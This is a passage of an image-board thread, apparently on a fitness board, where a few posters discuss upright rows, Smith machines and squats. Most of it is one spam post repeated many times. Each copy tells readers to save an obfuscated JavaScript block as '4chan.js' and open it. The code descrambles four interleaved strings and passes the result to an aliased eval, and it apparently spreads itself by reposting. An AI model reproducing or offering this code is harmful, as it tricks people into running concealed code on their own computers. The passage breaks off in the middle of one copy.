'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
1blbpmz

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval;Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
>>435222
I use the iso bench machine when there's nobody to spot for me.
>> Anonymous
>Upright Rows: db upright rows.jpg

>Due to the grip and the nature of the movement, upright rows place stress on the shoulder joint by causing a bone-on bone collision with every rep. Eventually, this may lead to rotator cuff tendonitis.
Better Alternative: Lateral dumbbell raises


He must be trolling
>> gay
http://www.exrx.net/WeightTraining/Safety.html#anchor64967

http://www.google.com/search?hl=en&safe=off&q=upright+row+safety&btnG=Search
>> Anonymous
>>435185
My gym is casual so I can only do that or smith machine squats.
>> tripcodesareforjerks !3GqYIJ3Obs
My gym only has a smith machine, but If I do hack squatz in it I can really feel the burn.

Do I rly need to look for a gym with a normal squat rack ?
>> Anonymous
Some of what they say is reputable, but upright rows? Give me a break.
>> Anonymous
>>435614
You should. Hacksquat is a machine. Its still balancing the weight for you and forcing you into an isometric movement. Wtf kind of gym doesn't have a power rack?!

"feel the burn"..... wat?
>> Anonymous
>>435263

I'm glad that I'm not the only one who disagrees with that back extension non-sense and noticed that is was a GHR machine. I guess the author is against good mornings and deadlifts as well
>> Anonymous
While the basic back squat has a reputation as the World's Best Exercise, it earns that rep by working your posterior-chain muscles at least as much as your quadriceps. The squat isn't for sissies. In fact, the name has nothing to do with the sexual orientation of people who do it, and everything to do with the mythical Greek king who inspired it —

http://www.t-nation.com/free_online_article/sports_body_training_performance/real_men_do_sissy_squat
s
>> Anonymous
3wzs9zr

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
2n4ixos

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
1sekb6f

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
1xonbb7

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
1cy3pjs

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
20zdbep

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
37uraqd

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
3h9qxmv

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.


A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
1c3sgeg

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
34elhfm

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
